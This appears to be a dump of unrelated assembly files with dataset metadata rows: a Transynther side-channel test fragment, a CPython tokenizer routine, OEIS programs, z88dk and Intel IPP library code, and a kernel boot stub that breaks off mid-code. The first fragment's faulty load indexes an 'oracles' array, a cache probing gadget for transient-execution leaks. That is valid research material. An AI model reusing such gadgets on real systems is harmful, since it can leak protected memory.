nop
nop
add $7258, %rdi
// Store
lea addresses_D+0x5783, %rdi
nop
nop
nop
nop
and $28080, %r15
mov $0x5152535455565758, %rbp
movq %rbp, (%rdi)
nop
nop
nop
cmp %rcx, %rcx
// Faulty Load
lea addresses_PSE+0x19eb, %r15
xor $51515, %rbx
mov (%r15), %si
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'33': 1954}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 34.477612 | 2,999 | 0.659019 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_xt_/i7-8650U_0xd2.log_1954_1223.asm | 6,930 | Assembly |
.file "a28.c"
.section .text.startup,"ax",@progbits
.globl main
.type main, @function
main:
pushl %ebx
movl $51, %ebx
subl $8, %esp
movl 16(%esp), %eax
leal -37(%eax), %edx
cmpl $89, %edx
ja .L0000001C.startup
.L00000015.startup:
movsbl CSWTCH.1-37(%eax), %ebx
.L0000001C.startup:
movl %eax, 4(%esp)
movl %eax, (%esp)
call PyToken_TwoChars
.L00000028.startup:
addl $8, %esp
addl %ebx, %eax
popl %ebx
ret
.size main, .-main
# ----------------------
.text
.globl PyToken_OneChar
.type PyToken_OneChar, @function
PyToken_OneChar:
movl 4(%esp), %edx
movl $51, %eax
leal -37(%edx), %ecx
cmpl $89, %ecx
ja .L00000018
.L00000011:
movsbl CSWTCH.1-37(%edx), %eax
.L00000018:
rep; ret
.size PyToken_OneChar, .-PyToken_OneChar
# ----------------------
.L0000001A:
.p2align 3
# ----------------------
.globl PyToken_TwoChars
.type PyToken_TwoChars, @function
PyToken_TwoChars:
movl 4(%esp), %eax
movl 8(%esp), %edx
subl $33, %eax
cmpl $91, %eax
jbe .L00000038
.L00000030:
movl $51, %eax
.L00000035:
rep; ret
.L00000037:
.p2align 3
.L00000038:
jmp *.LC00000000(,%eax,4)
.L0000003F:
.p2align 3
.L00000040:
xorl %eax, %eax
cmpl $61, %edx
setne %al
leal 43(,%eax,8), %eax
ret
.L00000050:
cmpl $61, %edx
movl $51, %eax
movl $29, %edx
cmove %edx, %eax
ret
.L00000061:
.p2align 3
.L00000068:
cmpl $61, %edx
movl $51, %eax
movl $41, %edx
cmove %edx, %eax
ret
.L00000079:
.p2align 4
.L00000080:
xorl %eax, %eax
cmpl $61, %edx
setne %al
leal 42(%eax,%eax,8), %eax
ret
.L0000008D:
.p2align 3
.L00000090:
cmpl $42, %edx
movl $36, %eax
je .L00000035
.L0000009A:
cmpl $61, %edx
movb $51, %al
movl $39, %edx
cmove %edx, %eax
ret
.L000000A8:
cmpl $61, %edx
movl $51, %eax
movl $37, %edx
cmove %edx, %eax
ret
.L000000B9:
.p2align 4
.L000000C0:
cmpl $61, %edx
movl $51, %eax
movl $38, %edx
cmove %edx, %eax
ret
.L000000D1:
.p2align 3
.L000000D8:
cmpl $47, %edx
movl $48, %eax
je .L00000035
.L000000E6:
cmpl $61, %edx
movb $51, %al
movl $40, %edx
cmove %edx, %eax
ret
.L000000F4:
.p2align 3
.L000000F8:
cmpl $61, %edx
movl $51, %eax
movl $28, %edx
cmove %edx, %eax
ret
.L00000109:
.p2align 4
.L00000110:
cmpl $61, %edx
movl $31, %eax
je .L00000035
.L0000011E:
cmpl $62, %edx
movb $51, %al
movl $35, %edx
cmove %edx, %eax
ret
.L0000012C:
.p2align 3
.L00000130:
cmpl $61, %edx
movl $51, %eax
movl $44, %edx
cmove %edx, %eax
ret
.size PyToken_TwoChars, .-PyToken_TwoChars
# ----------------------
.section .rodata
.align 32
.LC00000000:
.long .L00000050
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000068
.long .L00000080
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000090
.long .L000000A8
.long .L00000030
.long .L000000C0
.long .L00000030
.long .L000000D8
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L000000F8
.long .L00000110
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000130
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000030
.long .L00000040
.zero 16
# ----------------------
.local CSWTCH.1
.type CSWTCH.1, @object
CSWTCH.1:
.ascii "\03033333333\02733333333333\01333\026\0253233333333333333333333333333333!3\03133333333333333333333333333\0323\033 "
.size CSWTCH.1, 90
# ----------------------
.ident "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
.section .note.GNU-stack,"",@progbits
| 19.13308 | 124 | 0.596979 | [
"Apache-2.0"
] | LRGH/plasmasm | non_regression/switch_x86_linux_2.o.asm | 5,032 | Assembly |
; A040977: a(n) = binomial(n+5,5)*(n+3)/3.
; 1,8,35,112,294,672,1386,2640,4719,8008,13013,20384,30940,45696,65892,93024,128877,175560,235543,311696,407330,526240,672750,851760,1068795,1330056,1642473,2013760,2452472,2968064,3570952,4272576,5085465,6023304,7101003,8334768,9742174,11342240,13155506,15204112,17511879,20104392,23009085,26255328,29874516,33900160,38367980,43316000,48784645,54816840,61458111,68756688,76763610,85532832,95121334,105589232,116999891,129420040,142919889,157573248,173457648,190654464,209249040,229330816,250993457,274334984,299457907,326469360,355481238,386610336,419978490,455712720,493945375,534814280,578462885,625040416,674702028,727608960,783928692,843835104,907508637,975136456,1046912615,1123038224,1203721618,1289178528,1379632254,1475313840,1576462251,1683324552,1796156089,1915220672,2040790760,2173147648,2312581656,2459392320,2613888585,2776389000,2947221915,3126725680,3315248846,3513150368,3720799810,3938577552,4166874999,4406094792,4656651021,4918969440,5193487684,5480655488,5780934908,6094800544,6422739765,6765252936,7122853647,7496068944,7885439562,8291520160,8714879558,9156100976,9615782275,10094536200,10592990625,11111788800,11651589600,12213067776,12796914208,13403836160,14034557537,14689819144,15370378947,16077012336,16810512390,17571690144,18361374858,19180414288,20029674959,20910042440,21822421621,22767736992,23746932924,24760973952,25810845060,26897551968,28022121421,29185601480,30389061815,31633594000,32920311810,34250351520,35624872206,37045056048,38512108635,40027259272,41591761289,43206892352,44873954776,46594275840,48369208104,50200129728,52088444793,54035583624,56043003115,58112187056,60244646462,62441919904,64705573842,67037202960,69438430503,71910908616,74456318685,77076371680,79772808500,82547400320,85401948940,88338287136,91358279013,94463820360,97656839007,100939295184,104313181882,107780525216,111343384790,115003854064,118764060723,122626167048,126592370289,130664903040,134846033616,139138066432,143543342384,148064239232,152703171985,157462593288,162344993811,167352902640,172488887670,177755556000,183155554330,188691569360,194366328191,200182598728,206143190085,212250952992,218508780204,224919606912,231486411156,238212214240,245100081149,252153120968,259374487303,266767378704,274335039090,282080758176,290007871902,298119762864,306419860747,314911642760,323598634073,332484408256,341572587720,350866844160,360370899000,370088523840,380023540905,390179823496,400561296443,411171936560,422015773102,433096888224,444419417442,455987550096,467805529815,479877654984,492208279213,504801811808,517662718244,530795520640,544204798236,557895187872,571871384469,586138141512,600700271535,615562646608,630730198826,646207920800,662000866150,678114150000,694552949475,711322504200
mov $1,$0
add $1,5
bin $1,$0
add $0,3
mul $1,$0
div $1,3
| 281.8 | 2,716 | 0.893542 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/040/A040977.asm | 2,818 | Assembly |
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_l_sdcc
PUBLIC __mulsuchar_callee, __mulsuchar_callee_0
__mulsuchar_callee:
; 8-bit mixed multiply
;
; enter : stack = multiplicand (signed byte), multiplicand (byte), ret
;
; exit : hl = 16-bit product
pop af
pop hl
push af
ld e,h
; must promote to 16-bits
__mulsuchar_callee_0:
ld h,0
ld a,e
add a,a
sbc a,a
ld d,a
IF __CLIB_OPT_IMATH <= 50
EXTERN l_mulu_16_16x16
jp l_mulu_16_16x16
ENDIF
IF __CLIB_OPT_IMATH > 50
EXTERN l_fast_muls_16_16x16
jp l_fast_muls_16_16x16
ENDIF
| 12.755102 | 73 | 0.6768 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/l/sdcc/__mulsuchar_callee.asm | 625 | Assembly |
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 4, 0x90
.globl p8_cpInc_BNU
.type p8_cpInc_BNU, @function
p8_cpInc_BNU:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
movl (8)(%ebp), %edi
movl (12)(%ebp), %esi
movl (20)(%ebp), %eax
movd (20)(%ebp), %mm0
movl (16)(%ebp), %edx
shl $(2), %edx
xor %ecx, %ecx
.p2align 4, 0x90
.Lmain_loopgas_1:
movd (%esi,%ecx), %mm1
paddq %mm0, %mm1
movd %mm1, (%edi,%ecx)
pshufw $(254), %mm1, %mm0
movd %mm0, %eax
add $(4), %ecx
cmp %edx, %ecx
jl .Lmain_loopgas_1
.Lexit_loopgas_1:
emms
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe1:
.size p8_cpInc_BNU, .Lfe1-(p8_cpInc_BNU)
| 36.52381 | 80 | 0.610495 | [
"Apache-2.0"
] | idesai/ipp-crypto | sources/ippcp/asm_ia32_gas_converted/linux/nonpic/p8/merged/pcpbnuincw7as.asm | 3,068 | Assembly |
Addi, R5, R5, 100
| 9 | 17 | 0.611111 | [
"MIT"
] | danielstumpp/tomasulo-simulator | tests/inputs/test_single_inst/test_addi_one_inst/addi_single.asm | 18 | Assembly |
; --------------
; Custom Presets
; --------------
print pc, " custom presets start"
custom_preset_save:
{
LDA !sram_custom_preset_slot
ASL : XBA : TAX ; multiply by 200h (slot offset)
LDA #$5AFE : STA $703000,X ; mark this slot as "SAFE" to load
LDA #$01B8 : STA $703002,X ; record slot size for future compatibility
LDA $078B : STA $703004,X ; Elevator Index
LDA $078D : STA $703006,X ; DDB
LDA $078F : STA $703008,X ; DoorOut Index
LDA $079B : STA $70300A,X ; MDB
LDA $079F : STA $70300C,X ; Region
LDA $07C3 : STA $70300E,X ; GFX Pointers
LDA $07C5 : STA $703010,X ; GFX Pointers
LDA $07C7 : STA $703012,X ; GFX Pointers
LDA $07F3 : STA $703014,X ; Music Bank
LDA $07F5 : STA $703016,X ; Music Track
LDA $090F : STA $703018,X ; Screen subpixel X position
LDA $0911 : STA $70301A,X ; Screen X position in pixels
LDA $0913 : STA $70301C,X ; Screen subpixel Y position
LDA $0915 : STA $70301E,X ; Screen Y position in pixels
LDA $093F : STA $703020,X ; Ceres escape flag
LDA $09A2 : STA $703022,X ; Equipped Items
LDA $09A4 : STA $703024,X ; Collected Items
LDA $09A6 : STA $703026,X ; Beams
LDA $09A8 : STA $703028,X ; Beams
LDA $09C0 : STA $70302A,X ; Manual/Auto reserve tank
LDA $09C2 : STA $70302C,X ; Health
LDA $09C4 : STA $70302E,X ; Max health
LDA $09C6 : STA $703030,X ; Missiles
LDA $09C8 : STA $703032,X ; Max missiles
LDA $09CA : STA $703034,X ; Supers
LDA $09CC : STA $703036,X ; Max supers
LDA $09CE : STA $703038,X ; Pbs
LDA $09D0 : STA $70303A,X ; Max pbs
LDA $09D2 : STA $70303C,X ; Currently selected item
LDA $09D4 : STA $70303E,X ; Max reserves
LDA $09D6 : STA $703040,X ; Reserves
LDA $0A1C : STA $703042,X ; Samus position/state
LDA $0A1E : STA $703044,X ; More position/state
LDA $0A68 : STA $703046,X ; Flash suit
LDA $0A76 : STA $703048,X ; Hyper beam
LDA $0AF6 : STA $70304A,X ; Samus X
LDA $0AFA : STA $70304C,X ; Samus Y
LDA $0B3F : STA $70304E,X ; Blue suit
; Copy SRAM
TXA : CLC : ADC #$005F : TAX
.save_sram_loop
DEX : PHX : TXA : AND #$01FF : TAX
LDA $7ED7C0,X : PLX : STA $703050,X
DEX : TXA : BIT #$0100 : BEQ .save_sram_loop
; Copy Events, Items, Doors
CLC : ADC #$0100 : TAX
.save_events_items_doors_loop
DEX : PHX : TXA : AND #$01FF : TAX
LDA $7ED820,X : PLX : STA $7030B0,X
DEX : TXA : BIT #$0100 : BEQ .save_events_items_doors_loop
INX ; Restore X for sanity
LDA $0917 : STA $7031B0,X ; Layer 2 X position
LDA $0919 : STA $7031B2,X ; Layer 2 Y position
LDA $0921 : STA $7031B4,X ; BG2 X offset
LDA $0923 : STA $7031B6,X ; BG2 Y offset
RTL
}
custom_preset_load:
{
LDA !sram_custom_preset_slot
ASL : XBA : TAX ; multiply by 200h
; skip past "5AFE" word
; skip past size for now
LDA $703004,X : STA $078B ; Elevator Index
LDA $703006,X : STA $078D ; DDB
LDA $703008,X : STA $078F ; DoorOut Index
LDA $70300A,X : STA $079B ; MDB
LDA $70300C,X : STA $079F ; Region
LDA $70300E,X : STA $07C3 ; GFX Pointers
LDA $703010,X : STA $07C5 ; GFX Pointers
LDA $703012,X : STA $07C7 ; GFX Pointers
LDA $703014,X : STA $07F3 ; Music Bank
LDA $703016,X : STA $07F5 ; Music Track
LDA $703018,X : STA $090F ; Screen subpixel X position
LDA $70301A,X : STA $0911 ; Screen X position in pixels
LDA $70301C,X : STA $0913 ; Screen subpixel Y position
LDA $70301E,X : STA $0915 ; Screen Y position in pixels
LDA $703020,X : STA $093F ; Ceres escape flag
LDA $703022,X : STA $09A2 ; Equipped Items
LDA $703024,X : STA $09A4 ; Collected Items
LDA $703026,X : STA $09A6 ; Beams
LDA $703028,X : STA $09A8 ; Beams
LDA $70302A,X : STA $09C0 ; Manual/Auto reserve tank
LDA $70302C,X : STA $09C2 ; Health
LDA $70302E,X : STA $09C4 ; Max health
LDA $703030,X : STA $09C6 ; Missiles
LDA $703032,X : STA $09C8 ; Max missiles
LDA $703034,X : STA $09CA ; Supers
LDA $703036,X : STA $09CC ; Max supers
LDA $703038,X : STA $09CE ; Pbs
LDA $70303A,X : STA $09D0 ; Max pbs
LDA $70303C,X : STA $09D2 ; Currently selected item
LDA $70303E,X : STA $09D4 ; Max reserves
LDA $703040,X : STA $09D6 ; Reserves
LDA $703042,X : STA $0A1C ; Samus position/state
LDA $703044,X : STA $0A1E ; More position/state
LDA $703046,X : STA $0A68 ; Flash suit
LDA $703048,X : STA $0A76 ; Hyper beam
LDA $70304A,X : STA $0AF6 ; Samus X
LDA $70304C,X : STA $0AFA ; Samus Y
LDA $70304E,X : STA $0B3F ; Blue suit
; Copy SRAM
TXA : CLC : ADC #$005F : TAX
.load_sram_loop
DEX : LDA $703050,X : PHX : PHA
TXA : AND #$01FF : TAX : PLA
STA $7ED7C0,X : PLX
DEX : TXA : BIT #$0100 : BEQ .load_sram_loop
; Copy Events, Items, Doors
CLC : ADC #$0100 : TAX
.load_events_items_doors_loop
DEX : LDA $7030B0,X : PHX : PHA
TXA : AND #$01FF : TAX : PLA
STA $7ED820,X : PLX
DEX : TXA : BIT #$0100 : BEQ .load_events_items_doors_loop
; Restore X for sanity, then check if we have layer 2 values
INX : LDA $703002,X : CMP #$01B0 : BEQ .done_loading
LDA $7031B0,X : STA $0917 ; Layer 2 X position
LDA $7031B2,X : STA $0919 ; Layer 2 Y position
LDA $7031B4,X : STA $0921 ; BG2 X offset
LDA $7031B6,X : STA $0923 ; BG2 Y offset
.done_loading
LDA #$0000 : STA !ram_custom_preset
RTL
}
print pc, " custom presets end"
| 39.344595 | 76 | 0.580972 | [
"Unlicense"
] | InsaneFirebat/sm_practice_hack | src/custompresets.asm | 5,823 | Assembly |
; A066266: Product of first n primorials + 1.
; Submitted by Jon Maiga
; 3,13,361,75601,174636001,5244319080001,2677277333530800001,25968760179275365452000001,5793445238736255798985527240000001,37481813439427687898244906452608585200000001,7517370874372838151564668004911177464757864076000000001,55784440720968513813368002533861454979548176771615744085560000000001,16972430790072694934938157854257758698967290083702175348735860941628087600000000001,222046261244808869776040900239313953120666458401987626347805929809038681543479663134628000000000001
add $0,1
seq $0,6939 ; Chernoff sequence: a(n) = Product_{k=1..n} prime(k)^(n-k+1).
add $0,1
| 80.25 | 476 | 0.886293 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/066/A066266.asm | 642 | Assembly |
; A087164: Records in A087162: A087162(a(n))=n.
; Submitted by Jamie Morken(s3)
; 1,2,3,7,23,91,383,1639,7043,30295,130343,560827,2413103,10383031,44675843,192230119,827123063,3558924955,15313255583
mov $1,1
lpb $0
sub $0,1
add $2,$1
sub $1,1
add $2,$1
trn $3,1
add $3,$1
add $2,$3
mov $1,$2
lpe
mov $0,$2
add $0,1
| 18.444444 | 118 | 0.653614 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/087/A087164.asm | 332 | Assembly |
;
; Jupiter ACE pseudo graphics routines
; Version for the 2x3 graphics symbols (UDG redefined)
;
;
; Written by Stefano Bodrato 2014
;
;
; Get pixel at (x,y) coordinate.
;
;
; $Id: pointxy.asm,v 1.2 2016-11-21 11:18:38 stefano Exp $
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC pointxy
EXTERN div3
EXTERN __gfx_coords
;EXTERN base_graphics
.pointxy
ld a,h
cp maxx
ret nc
ld a,l
cp maxy
ret nc ; y0 out of range
dec a
dec a
push bc
push de
push hl
ld (__gfx_coords),hl
;push bc
ld c,a ; y
ld b,h ; x
push bc
ld hl,div3
ld d,0
ld e,c
inc e
add hl,de
ld a,(hl)
ld c,a ; y/3
srl b ; x/2
ld a,c
ld c,b ; !!
;--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
;ld hl,(base_graphics)
ld hl,$F000
ld b,a ; keep y/3
and a
jr z,r_zero
ld de,maxx/2 ; microbee is 64 columns
.r_loop
add hl,de
dec a
jr nz,r_loop
.r_zero ld d,0
ld e,c
add hl,de
;--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
ld a,(hl) ; get current symbol from screen
cp 128
jr nc,noblank
ld a,128
.noblank
sub 128
ld e,a ; ..and its copy
pop hl ; restore x,y (y=h, x=l)
ld a,l
inc a
inc a
sub b
sub b
sub b ; we get the remainder of y/3
ld l,a
ld a,1 ; the pixel we want to draw
jr z,iszero
bit 0,l
jr nz,is1
add a,a
add a,a
.is1
add a,a
add a,a
.iszero
bit 0,h
jr nz,evenrow
add a,a ; move down the bit
.evenrow
and e
pop hl
pop de
pop bc
ret
| 13.242188 | 72 | 0.493805 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/target/bee/graphics/pointxy.asm | 1,695 | Assembly |
; A010201: Continued fraction for sqrt(142).
; 11,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1
pow $0,2
mul $0,2
mov $1,15
mov $2,12
mov $3,3
mul $3,$0
lpb $0
mov $0,1
mul $2,2
div $3,2
gcd $2,$3
mov $1,$2
add $1,2
lpe
sub $1,4
| 18.842105 | 166 | 0.578212 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/010/A010201.asm | 358 | Assembly |
; A239607: (1-2*n^2)^2.
; 1,1,49,289,961,2401,5041,9409,16129,25921,39601,58081,82369,113569,152881,201601,261121,332929,418609,519841,638401,776161,935089,1117249,1324801,1560001,1825201,2122849,2455489,2825761,3236401,3690241,4190209,4739329,5340721,5997601,6713281,7491169,8334769,9247681,10233601,11296321,12439729,13667809,14984641,16394401,17901361,19509889,21224449,23049601,24990001,27050401,29235649,31550689,34000561,36590401,39325441,42211009,45252529,48455521,51825601,55368481,59089969,62995969,67092481,71385601
pow $0,2
mul $0,2
sub $0,1
pow $0,2
| 70.375 | 501 | 0.827709 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/239/A239607.asm | 563 | Assembly |
global _start ; making entry point visible to linker
global kernel_stack_bottom
global kernel_stack_top
extern kmain ; kmain is defined in kmain.cpp
extern start_ctors ; beginning and end
extern end_ctors ; of the respective
extern start_dtors ; ctors and dtors section,
extern end_dtors ; declared by the linker script
extern _bss_start
extern _bss_end
extern __cxa_finalize
%include "defs.asm"
KERNEL_PAGE_NUMBER equ (KERNEL_VIRTUAL_BASE >> 22)
section .data
align 0x1000
BootPageDirectory:
; This page directory entry identity-maps the first 4MB of the 32-bit physical address space.
; All bits are clear except the following:
; bit 7: PS The kernel page is 4MB.
; bit 1: RW The kernel page is read/write.
; bit 0: P The kernel page is present.
; This entry must be here -- otherwise the kernel will crash immediately after paging is
; enabled because it can't fetch the next instruction! It's ok to unmap this page later.
dd 0x00000083
times (KERNEL_PAGE_NUMBER - 1) dd 0 ; Pages before kernel space.
; This page directory entry defines 8 4MB pages containing the kernel.
dd 0x00000083
dd 0x00400083
dd 0x00800083
dd 0x00c00083
dd 0x01000083
dd 0x01400083
dd 0x01800083
dd 0x01c00083
dd 0x02000083
dd 0x02400083
dd 0x02800083
dd 0x02c00083
dd 0x03000083
times (1024 - KERNEL_PAGE_NUMBER - 13) dd 0 ; Pages after the kernel image.
kernel_stack_top equ kernel_stack_bottom + STACKSIZE
section .bootcode
; reserve initial kernel stack space
STACKSIZE equ 0x4000 ; that's 16k.
_start:
; clear bss section
; lea edi, [_bss_end]
; lea esi, [_bss_start]
;_bss_loop:
; mov DWORD [esi], 0
; lea esi, [esi+4]
; cmp esi, edi
; jb _bss_loop
; NOTE: Until paging is set up, the code must be position-independent and use physical
; addresses, not virtual ones!
mov ecx, (BootPageDirectory - KERNEL_VIRTUAL_BASE)
mov cr3, ecx ; Load Page Directory Base Register.
mov ecx, cr4
or ecx, 0x00000010 ; Set PSE bit in CR4 to enable 4MB pages.
mov cr4, ecx
mov ecx, cr0
